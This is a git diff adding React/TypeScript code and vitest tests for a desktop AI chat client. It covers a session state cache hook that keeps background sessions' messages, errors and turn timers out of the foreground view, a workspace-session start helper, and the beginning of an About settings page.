+    vi.spyOn(window, 'requestAnimationFrame').mockImplementation((cb: FrameRequestCallback) => {
+      cb(0)
+
+      return null as unknown as number
+    })
+    setTurnStartedAt(null)
+    setCurrentModel('')
+    setCurrentProvider('')
+    setCurrentReasoningEffort('')
+    setCurrentServiceTier('')
+    setCurrentFastMode(false)
+  })
+
+  afterEach(() => {
+    cleanup()
+    vi.restoreAllMocks()
+    setTurnStartedAt(null)
+    setCurrentModel('')
+    setCurrentProvider('')
+    setCurrentReasoningEffort('')
+    setCurrentServiceTier('')
+    setCurrentFastMode(false)
+  })
+
+  it("keeps a background session's running turn clock and never mirrors it to the view", () => {
+    let cache!: Cache
+    // Active session is "fg-runtime"; the turn starts on the BACKGROUND session.
+    render(<Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />)
+
+    const startedAt = 1_700_000_000_000
+
+    act(() => {
+      cache.updateSessionState('bg-runtime', state => ({ ...state, busy: true, turnStartedAt: startedAt }), 'bg-stored')
+    })
+
+    // The background session's own cache entry holds the clock...
+    expect(cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')?.turnStartedAt).toBe(startedAt)
+    // ...but the global atom (statusbar timer) is untouched — a background turn
+    // must not drive the foreground timer.
+    expect($turnStartedAt.get()).toBeNull()
+  })
+
+  it("mirrors the focused session's turn clock into the global atom on view-sync", () => {
+    let cache!: Cache
+    render(<Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />)
+
+    const startedAt = 1_700_000_111_000
+
+    // A turn on the ACTIVE session stages into the view; the flush mirrors its
+    // turnStartedAt into the global atom the statusbar reads.
+    act(() => {
+      cache.updateSessionState('fg-runtime', state => ({ ...state, busy: true, turnStartedAt: startedAt }), 'fg-stored')
+    })
+
+    expect($turnStartedAt.get()).toBe(startedAt)
+  })
+
+  it('clears the global clock when the focused turn ends', () => {
+    let cache!: Cache
+    render(<Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />)
+
+    act(() => {
+      cache.updateSessionState(
+        'fg-runtime',
+        state => ({ ...state, busy: true, turnStartedAt: 1_700_000_222_000 }),
+        'fg-stored'
+      )
+    })
+    expect($turnStartedAt.get()).toBe(1_700_000_222_000)
+
+    act(() => {
+      cache.updateSessionState('fg-runtime', state => ({ ...state, busy: false, turnStartedAt: null }))
+    })
+    expect($turnStartedAt.get()).toBeNull()
+  })
+
+  it('mirrors the focused session model metadata when switching from a cached session', () => {
+    let cache!: Cache
+
+    const { rerender } = render(
+      <Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
+    )
+
+    act(() => {
+      cache.updateSessionState(
+        'bg-runtime',
+        state => ({
+          ...state,
+          fast: true,
+          model: 'anthropic/claude-opus-4.8',
+          provider: 'anthropic',
+          reasoningEffort: 'high',
+          serviceTier: 'priority'
+        }),
+        'bg-stored'
+      )
+    })
+
+    // Background metadata is cached but must not bleed into the visible statusbar.
+    expect($currentModel.get()).toBe('')
+    expect($currentReasoningEffort.get()).toBe('')
+    expect($currentFastMode.get()).toBe(false)
+
+    rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
+
+    const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
+    expect(bgState).toBeTruthy()
+
+    act(() => {
+      cache.syncSessionStateToView('bg-runtime', bgState!)
+    })
+
+    expect($currentModel.get()).toBe('anthropic/claude-opus-4.8')
+    expect($currentProvider.get()).toBe('anthropic')
+    expect($currentReasoningEffort.get()).toBe('high')
+    expect($currentServiceTier.get()).toBe('priority')
+    expect($currentFastMode.get()).toBe(true)
+  })
+
+  it('clears stale model metadata when the newly focused session has no cached value', () => {
+    setCurrentModel('previous-model')
+    setCurrentProvider('previous-provider')
+    setCurrentReasoningEffort('high')
+    setCurrentServiceTier('priority')
+    setCurrentFastMode(true)
+
+    let cache!: Cache
+
+    const { rerender } = render(
+      <Harness activeSessionId="fg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="fg-stored" />
+    )
+
+    act(() => {
+      cache.updateSessionState('bg-runtime', state => ({ ...state }), 'bg-stored')
+    })
+
+    rerender(<Harness activeSessionId="bg-runtime" onReady={c => (cache = c)} selectedStoredSessionId="bg-stored" />)
+
+    const bgState = cache.sessionStateByRuntimeIdRef.current.get('bg-runtime')
+    expect(bgState).toBeTruthy()
+
+    act(() => {
+      cache.syncSessionStateToView('bg-runtime', bgState!)
+    })
+
+    expect($currentModel.get()).toBe('')
+    expect($currentProvider.get()).toBe('')
+    expect($currentReasoningEffort.get()).toBe('')
+    expect($currentServiceTier.get()).toBe('')
+    expect($currentFastMode.get()).toBe(false)
+  })
+})
+
+interface LayoutProbeHarnessProps {
+  activeSessionId: string | null
+  onLayoutSnapshot: (snapshot: { active: string | null; selected: string | null }) => void
+  onReady: (cache: Cache) => void
+  selectedStoredSessionId: string | null
+}
+
+function LayoutProbeHarness({
+  activeSessionId,
+  onLayoutSnapshot,
+  onReady,
+  selectedStoredSessionId
+}: LayoutProbeHarnessProps) {
+  const busyRef: MutableRefObject<boolean> = { current: false }
+
+  const cache = useSessionStateCache({
+    activeSessionId,
+    busyRef,
+    selectedStoredSessionId,
+    setAwaitingResponse: () => undefined,
+    setBusy: () => undefined,
+    setMessages: () => undefined
+  })
+
+  onReady(cache)
+
+  // useLayoutEffect fires synchronously right after the DOM commit, BEFORE
+  // the hook's own useEffect (a passive effect) has a chance to mirror the
+  // new props into activeSessionIdRef/selectedStoredSessionIdRef. Anything
+  // that reads the refs in this window — including a synchronous DOM event
+  // handler firing against the just-committed view — observes the outgoing
+  // session's ids.
+  useLayoutEffect(() => {
+    onLayoutSnapshot({
+      active: cache.activeSessionIdRef.current,
+      selected: cache.selectedStoredSessionIdRef.current
+    })
+  })
+
+  return null
+}
+
+describe('useSessionStateCache — refs stay coherent with the committed session on switch (#59305)', () => {
+  afterEach(() => cleanup())
+
+  it('reflects the new session ids from the layout phase right after switching to a new session', () => {
+    let cache!: Cache
+    const snapshots: Array<{ active: string | null; selected: string | null }> = []
+
+    const { rerender } = render(
+      <LayoutProbeHarness
+        activeSessionId="runtime-A"
+        onLayoutSnapshot={s => snapshots.push(s)}
+        onReady={c => (cache = c)}
+        selectedStoredSessionId="stored-A"
+      />
+    )
+
+    void cache
+    snapshots.length = 0 // drop the initial-mount snapshot; only the switch matters
+
+    rerender(
+      <LayoutProbeHarness
+        activeSessionId="runtime-B"
+        onLayoutSnapshot={s => snapshots.push(s)}
+        onReady={c => (cache = c)}
+        selectedStoredSessionId="stored-B"
+      />
+    )
+
+    // The refs must already reflect B by the layout phase — a callback firing
+    // in this window must never observe the outgoing session's ids.
+    expect(snapshots[0]).toEqual({ active: 'runtime-B', selected: 'stored-B' })
+  })
+
+  it('does not clobber an imperative ref pin on a re-render that leaves the props unchanged (#54527-class)', () => {
+    // submit.ts pins activeSessionIdRef.current to a freshly resumed runtime id
+    // WITHOUT updating the source atom that feeds the activeSessionId prop (by
+    // design — see submit.ts's "pin the foreground session context" comment).
+    // The prop-mirroring here must only fire when the prop itself changes; an
+    // unconditional resync would silently undo that pin on the next incidental
+    // render (wiring.tsx re-renders constantly during an active turn).
+    let cache!: Cache
+
+    const { rerender } = render(
+      <Harness activeSessionId="runtime-A" onReady={c => (cache = c)} selectedStoredSessionId="stored-A" />
+    )
+
+    // Simulate submit.ts's imperative pin: a resume swapped in a new runtime
+    // id without touching the prop.
+    cache.activeSessionIdRef.current = 'runtime-resumed'
+
+    // A re-render with the SAME props (e.g. an unrelated $busy/$messages
+    // change elsewhere in the tree) must not touch the pinned ref.
+    rerender(<Harness activeSessionId="runtime-A" onReady={c => (cache = c)} selectedStoredSessionId="stored-A" />)
+
+    expect(cache.activeSessionIdRef.current).toBe('runtime-resumed')
+
+    // A genuine prop change (a real navigation/selection move) still wins.
+    rerender(<Harness activeSessionId="runtime-B" onReady={c => (cache = c)} selectedStoredSessionId="stored-B" />)
+
+    expect(cache.activeSessionIdRef.current).toBe('runtime-B')
+  })
+})
+
+function userMessage(id: string, text: string): ChatMessage {
+  return { id, role: 'user', parts: [{ type: 'text', text }] }
+}
+
+function assistantText(id: string, text: string): ChatMessage {
+  return { id, role: 'assistant', parts: [{ type: 'text', text }] }
+}
+
+function assistantError(id: string, error: string): ChatMessage {
+  return { id, role: 'assistant', parts: [], error, pending: false }
+}
+
+interface ViewHarnessProps {
+  activeSessionId: string | null
+  onReady: (cache: Cache) => void
+}
+
+function ViewHarness({ activeSessionId, onReady }: ViewHarnessProps) {
+  const busyRef: MutableRefObject<boolean> = { current: false }
+
+  const cache = useSessionStateCache({
+    activeSessionId,
+    busyRef,
+    selectedStoredSessionId: null,
+    setAwaitingResponse: () => undefined,
+    setBusy: () => undefined,
+    // Wire the published view back into the real $messages atom the flush
+    // reads from, so the round-trip matches production.
+    setMessages: messages => $messages.set(messages)
+  })
+
+  onReady(cache)
+
+  return null
+}
+
+describe('useSessionStateCache — cross-thread error isolation', () => {
+  afterEach(() => {
+    cleanup()
+    $messages.set([])
+  })
+
+  it('does not leak a failed turn into another thread on switch', () => {
+    $messages.set([])
+    let cache!: Cache
+    const { rerender } = render(<ViewHarness activeSessionId="thread-A" onReady={c => (cache = c)} />)
+
+    // Thread A ends its turn with an out-of-funds error and is on screen.
+    act(() => {
+      cache.updateSessionState(
+        'thread-A',
+        state => ({
+          ...state,
+          busy: false,
+          messages: [userMessage('user-a', 'do the thing'), assistantError('assistant-a-error', 'Out of funds')]
+        }),
+        'stored-A'
+      )
+    })
+
+    expect($messages.get().some(message => message.error === 'Out of funds')).toBe(true)
+
+    // Switch to thread B (which completed cleanly). Its cached state syncs to
+    // the view while $messages still holds thread A's transcript.
+    rerender(<ViewHarness activeSessionId="thread-B" onReady={c => (cache = c)} />)
+    act(() => {
+      cache.updateSessionState(
+        'thread-B',
+        state => ({
+          ...state,
+          busy: false,
+          messages: [userMessage('user-b', 'hello'), assistantText('assistant-b', 'hi there')]
+        }),
+        'stored-B'
+      )
+    })
+
+    expect($messages.get().map(message => message.id)).toEqual(['user-b', 'assistant-b'])
+    expect($messages.get().some(message => message.error === 'Out of funds')).toBe(false)
+  })
+
+  it('still preserves a same-session local error a heartbeat dropped', () => {
+    $messages.set([])
+    let cache!: Cache
+    render(<ViewHarness activeSessionId="thread-A" onReady={c => (cache = c)} />)
+
+    // First paint establishes thread A as the on-screen session.
+    act(() => {
+      cache.updateSessionState(
+        'thread-A',
+        state => ({ ...state, busy: false, messages: [userMessage('user-a', 'do the thing')] }),
+        'stored-A'
+      )
+    })
+
+    // A local error lands in the view (e.g. failAssistantMessage wrote it).
+    $messages.set([userMessage('user-a', 'do the thing'), assistantError('assistant-a-error', 'OpenRouter 403')])
+
+    // A later same-session heartbeat carries cached state that lost the error.
+    act(() => {
+      cache.updateSessionState('thread-A', state => ({
+        ...state,
+        busy: false,
+        messages: [userMessage('user-a', 'do the thing')]
+      }))
+    })
+
+    expect($messages.get().some(message => message.error === 'OpenRouter 403')).toBe(true)
+  })
+
+  it('only returns a runtime whose cached state owns the requested stored session', () => {
+    let cache!: Cache
+    render(<Harness activeSessionId={null} onReady={value => (cache = value)} selectedStoredSessionId={null} />)
+
+    act(() => {
+      cache.ensureSessionState('runtime-A', 'stored-A')
+      cache.ensureSessionState('runtime-B', 'stored-B')
+    })
+
+    expect(cache.getRuntimeIdForStoredSession('stored-A')).toBe('runtime-A')
+    expect(cache.getRuntimeIdForStoredSession('missing')).toBeNull()
+
+    // Simulate a recycled/cross-wired map entry. The reverse state ownership
+    // check must reject it instead of allowing a submit into stored-B.
+    cache.runtimeIdByStoredSessionIdRef.current.set('stored-A', 'runtime-B')
+    expect(cache.getRuntimeIdForStoredSession('stored-A')).toBeNull()
+  })
+})
diff --git a/ui-desktop/src/app/session/hooks/use-session-state-cache.ts b/ui-desktop/src/app/session/hooks/use-session-state-cache.ts
new file mode 100644
index 000000000..04fe08513
--- /dev/null
+++ b/ui-desktop/src/app/session/hooks/use-session-state-cache.ts
@@ -0,0 +1,341 @@
+import { useStore } from '@nanostores/react'
+import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
+
+import type { ChatMessage } from '@/lib/chat-messages'
+import { preserveLocalAssistantErrors } from '@/lib/chat-messages'
+import { createClientSessionState } from '@/lib/chat-runtime'
+import { persistInFlightTurnState } from '@/lib/inflight-turn-journal'
+import { setMutableRef } from '@/lib/mutable-ref'
+import {
+  $activeSessionId,
+  $busy,
+  $messages,
+  setActiveSessionStoredIdRotation,
+  setCurrentFastMode,
+  setCurrentModel,
+  setCurrentPersonality,
+  setCurrentProvider,
+  setCurrentReasoningEffort,
+  setCurrentServiceTier,
+  setTurnStartedAt,
+  setYoloActive
+} from '@/store/session'
+import { publishSessionState } from '@/store/session-states'
+
+import type { ClientSessionState } from '../../types'
+
+import { chatMessageArraysEquivalent } from './use-session-actions/utils'
+
+interface SessionStateCacheOptions {
+  activeSessionId: string | null
+  busyRef: MutableRefObject<boolean>
+  selectedStoredSessionId: string | null
+  setAwaitingResponse: (awaiting: boolean) => void
+  setBusy: (busy: boolean) => void
+  setMessages: (messages: ChatMessage[]) => void
+}
+
+function syncRuntimeMetadataToView(state: ClientSessionState) {
+  setCurrentModel(state.model ?? '')
+  setCurrentProvider(state.provider ?? '')
+  setCurrentReasoningEffort(state.reasoningEffort ?? '')
+  setCurrentServiceTier(state.serviceTier ?? '')
+  setCurrentFastMode(state.fast ?? false)
+  setYoloActive(state.yolo ?? false)
+  setCurrentPersonality(state.personality ?? '')
+}
+
+export function useSessionStateCache({
+  activeSessionId,
+  busyRef,
+  selectedStoredSessionId,
+  setAwaitingResponse,
+  setBusy,
+  setMessages
+}: SessionStateCacheOptions) {
+  const busy = useStore($busy)
+  const activeSessionIdRef = useRef<string | null>(activeSessionId)
+  const selectedStoredSessionIdRef = useRef<string | null>(selectedStoredSessionId)
+
+  // Mirror the latest prop into its ref synchronously during render — not via
+  // a passive useEffect, which only fires a frame after paint and left the
+  // ref pointing at the outgoing session for one commit (#59305). Guarded to
+  // fire only when the PROP itself changed since the last render (the same
+  // condition a `useEffect(..., [activeSessionId])` dependency array already
+  // enforced) rather than unconditionally: submit.ts and use-session-actions
+  // pin these refs imperatively mid-flight (e.g. to a just-resumed runtime id)
+  // without updating the source atom in lockstep, and wiring.tsx re-renders
+  // constantly during an active turn — an unconditional resync would silently
+  // clobber that pin on the next incidental render (#54527-class regression).
+  const activeSessionIdPropRef = useRef(activeSessionId)
+
+  if (activeSessionIdPropRef.current !== activeSessionId) {
+    activeSessionIdPropRef.current = activeSessionId
+    activeSessionIdRef.current = activeSessionId
+  }
+
+  const selectedStoredSessionIdPropRef = useRef(selectedStoredSessionId)
+
+  if (selectedStoredSessionIdPropRef.current !== selectedStoredSessionId) {
+    selectedStoredSessionIdPropRef.current = selectedStoredSessionId
+    selectedStoredSessionIdRef.current = selectedStoredSessionId
+  }
+
+  const sessionStateByRuntimeIdRef = useRef(new Map<string, ClientSessionState>())
+  const runtimeIdByStoredSessionIdRef = useRef(new Map<string, string>())
+  const pendingViewStateRef = useRef<{ sessionId: string; state: ClientSessionState } | null>(null)
+  const viewSyncRafRef = useRef<number | null>(null)
+  // Runtime id whose transcript currently occupies `$messages` — lets the
+  // flush below tell a same-session refresh from a thread switch.
+  const viewSessionIdRef = useRef<string | null>(null)
+
+  // eslint-disable-next-line no-restricted-syntax -- legitimate non-atom ref write (see eslint rule comment)
+  useEffect(() => {
+    setMutableRef(busyRef, busy)
+  }, [busy, busyRef])
+
+  const ensureSessionState = useCallback((sessionId: string, storedSessionId?: string | null) => {
+    const existing = sessionStateByRuntimeIdRef.current.get(sessionId)
+
+    if (existing) {
+      if (storedSessionId !== undefined && storedSessionId !== existing.storedSessionId) {
+        // Stored id changed (e.g. auto-compression rotated it). Create a NEW
+        // state object rather than mutating in place — updateSessionState needs
+        // the PREVIOUS state to detect transitions (busy→idle, id rotation).
+        const updated = { ...existing, storedSessionId }
+
+        sessionStateByRuntimeIdRef.current.set(sessionId, updated)
+
+        // Drop the obsolete stored→runtime reverse mapping as soon as the id
+        // rotates (e.g. auto-compression forks a continuation). Leaving the
+        // stale key lets getRuntimeIdForStoredSession resolve the old stored id
+        // to this runtime, which the compression route-follow logic relies on
+        // being absent. The rotation signal was previously emitted centrally
+        // from handleTransition (session-states.ts), but updateSessionState
+        // now skips publishSessionState (and thus handleTransition) when the
+        // updater is a no-op — fire it here so the route-follow effect still
+        // tracks compression without needing a dummy state write.
+        if (existing.storedSessionId && existing.storedSessionId !== storedSessionId) {
+          runtimeIdByStoredSessionIdRef.current.delete(existing.storedSessionId)
+
+          // A rotation event needs a real next id — a null/cleared stored id
+          // is a detach, not a rotation the route-follow effect should chase.
+          if (storedSessionId && sessionId === $activeSessionId.get()) {
+            setActiveSessionStoredIdRotation({
+              nextStoredSessionId: storedSessionId,
+              previousStoredSessionId: existing.storedSessionId,
+              runtimeSessionId: sessionId
+            })
+          }
+        }
+
+        if (storedSessionId) {
+          runtimeIdByStoredSessionIdRef.current.set(storedSessionId, sessionId)
+        }
+      }
+
+      return sessionStateByRuntimeIdRef.current.get(sessionId)!
+    }
+
+    const created = createClientSessionState(storedSessionId ?? null)
+    sessionStateByRuntimeIdRef.current.set(sessionId, created)
+
+    if (storedSessionId) {
+      runtimeIdByStoredSessionIdRef.current.set(storedSessionId, sessionId)
+    }
+
+    return created
+  }, [])
+
+  const resetViewSync = useCallback(() => {
+    // Drop any RAF-pending transcript stage so a backgrounded turn cannot
+    // repaint over the chat the user just switched to (#47709 / #47743).
+    pendingViewStateRef.current = null
+    viewSessionIdRef.current = null
+
+    if (viewSyncRafRef.current !== null && typeof window !== 'undefined') {
+      window.cancelAnimationFrame(viewSyncRafRef.current)
+      viewSyncRafRef.current = null
+    }
+  }, [])
+
+  const flushPendingViewState = useCallback(() => {
+    const pending = pendingViewStateRef.current
+    pendingViewStateRef.current = null
+
+    if (!pending || pending.sessionId !== activeSessionIdRef.current) {
+      return
+    }
+
+    // `preserveLocalAssistantErrors` always returns a fresh array, so publishing
+    // it unconditionally puts a new `$messages` reference on the store every
+    // flush — including the periodic `session.info` heartbeats that don't touch
+    // the transcript. That churns ChatView → runtimeMessageRepository → the
+    // assistant-ui runtime → the virtualizer, which re-measures and visibly
+    // jerks the scroll position while the user is reading. Skip the publish when
+    // the merged result is content-equivalent to what's already on screen.
+    // Deep comparison (not just reference equality) is needed because the warm
+    // resume path's `reconcileAuthoritativeMessages` creates new message objects
+    // via `toChatMessages` even when the content hasn't changed — reference
+    // equality would fail and cause a redundant second paint (the "warm resume
+    // jitter" bug).
+    const currentMessages = $messages.get()
+
+    // On a thread switch `$messages` still holds the *previous* thread, so
+    // preserving its local errors would graft that thread's failed turn (e.g.
+    // an out-of-funds error) onto this one — then cascade it everywhere as the
+    // polluted view becomes the next switch's baseline. Only carry errors
+    // across a same-session refresh; our cached state already keeps its own.
+    const nextMessages =
+      viewSessionIdRef.current === pending.sessionId
+        ? preserveLocalAssistantErrors(pending.state.messages, currentMessages)
+        : pending.state.messages
+
+    if (!chatMessageArraysEquivalent(nextMessages, currentMessages)) {
+      setMessages(nextMessages)
+    }
+
+    viewSessionIdRef.current = pending.sessionId
+
+    syncRuntimeMetadataToView(pending.state)
+    setBusy(pending.state.busy)
+    setMutableRef(busyRef, pending.state.busy)
+    setAwaitingResponse(pending.state.awaitingResponse)
+    // Mirror the focused session's per-session turn clock into the global
+    // atom the statusbar timer reads. Keeps a backgrounded turn's elapsed
+    // time intact on focus instead of zeroing it (the "timer restarts" bug).
+    setTurnStartedAt(pending.state.turnStartedAt)
+  }, [busyRef, setAwaitingResponse, setBusy, setMessages])
+
+  const syncSessionStateToView = useCallback(
+    (sessionId: string, state: ClientSessionState) => {
+      // Only the currently-viewed session may stage into the shared `$messages`
+      // view. A background session (e.g. one still busy and emitting stream /
+      // error updates after the user toggled away) must update its own cache
+      // entry but never the view — otherwise its messages clobber the
+      // foreground transcript and appear to "bleed" into every other session.
+      // The flush below also re-checks the active id, but staging here is what
+      // prevents a background write from overwriting an already-pending
+      // foreground write within the same animation frame (only one RAF is
+      // scheduled, so the last `pendingViewStateRef` writer would otherwise win).
+      if (sessionId !== activeSessionIdRef.current) {
+        return
+      }
+
+      syncRuntimeMetadataToView(state)
+      pendingViewStateRef.current = { sessionId, state }
+
+      // Terminal / attention transitions (turn finished, error, or the agent is
+      // now waiting on the user) MUST reach the view immediately. Electron
+      // throttles `requestAnimationFrame` to ~0 while the window is
+      // backgrounded, occluded, or unfocused, so an RAF-deferred flush can be
+      // stranded in `pendingViewStateRef` indefinitely — that's the "new chat
+      // stuck on Thinking until I refocus / F5" bug. Flush these synchronously
+      // (cancelling any in-flight RAF, since we're about to publish the latest
+      // state anyway). The plain busy heartbeat stays RAF-batched: that
+      // coalescing exists only to keep periodic `session.info` updates from
+      // churning `$messages` and jerking the scroll position while reading.
+      const isCriticalTransition = !state.busy || state.needsInput
+
+      if (isCriticalTransition) {
+        if (viewSyncRafRef.current !== null && typeof window !== 'undefined') {
+          window.cancelAnimationFrame(viewSyncRafRef.current)
+          viewSyncRafRef.current = null
+        }
+
+        flushPendingViewState()
+
+        return
+      }
+
+      if (viewSyncRafRef.current !== null) {
+        return
+      }
+
+      if (typeof window === 'undefined') {
+        flushPendingViewState()
+
+        return
+      }
+
+      viewSyncRafRef.current = window.requestAnimationFrame(() => {
+        viewSyncRafRef.current = null
+        flushPendingViewState()
+      })
+    },
+    [flushPendingViewState]
+  )
+
+  useEffect(
+    () => () => {
+      if (viewSyncRafRef.current !== null && typeof window !== 'undefined') {
+        window.cancelAnimationFrame(viewSyncRafRef.current)
+        viewSyncRafRef.current = null
+      }
+    },
+    []
+  )
+
+  const updateSessionState = useCallback(
+    (
+      sessionId: string,
+      updater: (state: ClientSessionState) => ClientSessionState,
+      storedSessionId?: string | null
+    ) => {
+      const previous = ensureSessionState(sessionId, storedSessionId)
+      // Give the updater the raw previous state so it can return the same
+      // reference when nothing changed (the caller sees a no-op). Previously
+      // the param was always a fresh spread, so every call looked like a
+      // change — including periodic ~1/s session.info heartbeats that churn
+      // $sessionStates and its computed atoms on every tick.
+      const next = updater(previous)
+
+      // If the updater returned the same reference, nothing changed for this
+      // session — skip the store write, publishSessionState, and view sync.
+      // The cache entry was already updated by ensureSessionState (if
+      // storedSessionId rotated); the caller gets its return value from the
+      // cache, so stale reads don't regress.
+      if (next === previous) {
+        return previous
+      }
+
+      sessionStateByRuntimeIdRef.current.set(sessionId, next)
+      // Crash-survivable turn progress: journal the running turn's visible
+      // tail (throttled localStorage write; cleared the moment the turn
+      // settles) so a renderer/app death mid-turn can be recovered on resume.
+      persistInFlightTurnState(next)
+      // Publishing to $sessionStates automatically fires transition side-effects
+      // (watchdog, settle grace, unread marker, compression id rotation) inside
+      // publishSessionState — no manual transition call needed.
+      publishSessionState(sessionId, next)
+      syncSessionStateToView(sessionId, next)
+
+      return next
+    },
+    [ensureSessionState, syncSessionStateToView]
+  )
+
+  const getRuntimeIdForStoredSession = useCallback((storedSessionId: string): string | null => {
+    const runtimeId = runtimeIdByStoredSessionIdRef.current.get(storedSessionId)
+
+    if (!runtimeId) {
+      return null
+    }
+
+    const runtimeState = sessionStateByRuntimeIdRef.current.get(runtimeId)
+
+    return runtimeState?.storedSessionId === storedSessionId ? runtimeId : null
+  }, [])
+
+  return {
+    activeSessionIdRef,
+    ensureSessionState,
+    getRuntimeIdForStoredSession,
+    resetViewSync,
+    runtimeIdByStoredSessionIdRef,
+    selectedStoredSessionIdRef,
+    sessionStateByRuntimeIdRef,
+    syncSessionStateToView,
+    updateSessionState
+  }
+}
diff --git a/ui-desktop/src/app/session/workspace-session-target.test.ts b/ui-desktop/src/app/session/workspace-session-target.test.ts
new file mode 100644
index 000000000..3a83f605a
--- /dev/null
+++ b/ui-desktop/src/app/session/workspace-session-target.test.ts
@@ -0,0 +1,81 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $currentBranch,
+  $currentCwd,
+  $newChatWorkspaceTarget,
+  setCurrentBranch,
+  setCurrentCwd,
+  setNewChatWorkspaceTarget
+} from '@/store/session'
+
+import { startWorkspaceSession } from './workspace-session-target'
+
+function deferred<T>() {
+  let resolve!: (value: T) => void
+
+  const promise = new Promise<T>(done => {
+    resolve = done
+  })
+
+  return { promise, resolve }
+}
+
+describe('startWorkspaceSession', () => {
+  afterEach(() => {
+    setCurrentBranch('')
+    setCurrentCwd('')
+    setNewChatWorkspaceTarget(undefined)
+    vi.restoreAllMocks()
+  })
+
+  it('keeps a newer sidebar target when an older project lookup resolves', async () => {
+    const first = deferred<{ branch?: string; cwd?: string }>()
+    const second = deferred<{ branch?: string; cwd?: string }>()
+
+    const requestGateway = vi
+      .fn()
+      .mockImplementationOnce(() => first.promise)
+      .mockImplementationOnce(() => second.promise)
+
+    const activeSessionIdRef = { current: null }
+
+    const startFreshSessionDraft = vi.fn((options?: { workspaceTarget: string }) => {
+      setNewChatWorkspaceTarget(options?.workspaceTarget)
+      setCurrentCwd(options?.workspaceTarget || '')
+    })
+
+    const followActiveSessionCwd = vi.fn()
+
+    startWorkspaceSession({
+      activeSessionIdRef,
+      followActiveSessionCwd,
+      path: '/workspace-a',
+      requestGateway,
+      startFreshSessionDraft
+    })
+    startWorkspaceSession({
+      activeSessionIdRef,
+      followActiveSessionCwd,
+      path: '/workspace-b',
+      requestGateway,
+      startFreshSessionDraft
+    })
+
+    first.resolve({ branch: 'stale', cwd: '/normalized-a' })
+    await first.promise
+    await Promise.resolve()
+
+    expect($newChatWorkspaceTarget.get()).toBe('/workspace-b')
+    expect($currentCwd.get()).toBe('/workspace-b')
+    expect($currentBranch.get()).not.toBe('stale')
+
+    second.resolve({ branch: 'main', cwd: '/normalized-b' })
+    await second.promise
+    await Promise.resolve()
+
+    expect($newChatWorkspaceTarget.get()).toBe('/normalized-b')
+    expect($currentCwd.get()).toBe('/normalized-b')
+    expect($currentBranch.get()).toBe('main')
+  })
+})
diff --git a/ui-desktop/src/app/session/workspace-session-target.ts b/ui-desktop/src/app/session/workspace-session-target.ts
new file mode 100644
index 000000000..da5028502
--- /dev/null
+++ b/ui-desktop/src/app/session/workspace-session-target.ts
@@ -0,0 +1,64 @@
+import type { MutableRefObject } from 'react'
+
+import { followActiveSessionCwd, resolveNewSessionCwd } from '@/store/projects'
+import {
+  $newChatWorkspaceTargetGeneration,
+  setCurrentBranch,
+  setCurrentCwd,
+  setNewChatWorkspaceTarget
+} from '@/store/session'
+
+interface WorkspaceSessionOptions {
+  activeSessionIdRef: MutableRefObject<string | null>
+  followActiveSessionCwd?: (cwd: string) => void | Promise<void>
+  onExplicitWorkspace?: (cwd: string) => void
+  path: null | string
+  requestGateway: <T>(method: string, params?: Record<string, unknown>) => Promise<T>
+  startFreshSessionDraft: (options?: { workspaceTarget: string }) => void
+}
+
+export function startWorkspaceSession({
+  activeSessionIdRef,
+  followActiveSessionCwd: followCwd = followActiveSessionCwd,
+  onExplicitWorkspace,
+  path,
+  requestGateway,
+  startFreshSessionDraft
+}: WorkspaceSessionOptions): void {
+  // A worktree lane carries its own path; a project trunk can be path-less, so
+  // fall back to the active project's root for that existing controller path.
+  const explicitTarget = path?.trim()
+  const target = explicitTarget || resolveNewSessionCwd()
+
+  startFreshSessionDraft(target ? { workspaceTarget: target } : undefined)
+
+  if (!target) {
+    return
+  }
+
+  const workspaceGeneration = $newChatWorkspaceTargetGeneration.get()
+
+  setCurrentCwd(target)
+  void requestGateway<{ branch?: string; cwd?: string }>('config.get', { key: 'project', cwd: target })
+    .then(info => {
+      if ($newChatWorkspaceTargetGeneration.get() !== workspaceGeneration || activeSessionIdRef.current) {
+        return
+      }
+
+      const resolved = info.cwd || target
+
+      setCurrentCwd(resolved)
+      setNewChatWorkspaceTarget(resolved)
+      setCurrentBranch(info.branch || '')
+
+      if (explicitTarget) {
+        onExplicitWorkspace?.(resolved)
+        void followCwd(resolved)
+      }
+    })
+    .catch(() => {
+      if ($newChatWorkspaceTargetGeneration.get() === workspaceGeneration && !activeSessionIdRef.current) {
+        setCurrentBranch('')
+      }
+    })
+}
diff --git a/ui-desktop/src/app/settings/about-settings.tsx b/ui-desktop/src/app/settings/about-settings.tsx
new file mode 100644
index 000000000..3dd46acbd
--- /dev/null
+++ b/ui-desktop/src/app/settings/about-settings.tsx
@@ -0,0 +1,183 @@
+import { useStore } from '@nanostores/react'
+import { useEffect, useState } from 'react'
+
+import { BrandMark } from '@/components/brand-mark'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { type Translations, useI18n } from '@/i18n'
+import { CheckCircle2, ExternalLink, Loader2, RefreshCw } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import {
+  $desktopVersion,
+  $updateApply,
+  $updateChecking,
+  $updateStatus,
+  checkUpdates,
+  openUpdatesWindow,
+  refreshDesktopVersion,
+  startActiveUpdate
+} from '@/store/updates'
+
+import { ListRow, SectionHeading, SettingsContent } from './primitives'
+import { UninstallSection } from './uninstall-section'
+
+const RELEASE_NOTES_URL = 'https://github.com/agentforce314/clawcodex/releases'
+
+function relativeTime(ms: number | undefined, a: Translations['settings']['about']) {
+  if (!ms) {
+    return a.never
+  }
+
+  const diff = Date.now() - ms
+
+  if (diff < 60_000) {
+    return a.justNow
+  }
+
+  if (diff < 3_600_000) {
+    return a.minAgo(Math.round(diff / 60_000))
+  }
+
+  if (diff < 86_400_000) {
+    return a.hoursAgo(Math.round(diff / 3_600_000))
+  }
+
+  return a.daysAgo(Math.round(diff / 86_400_000))
+}
+
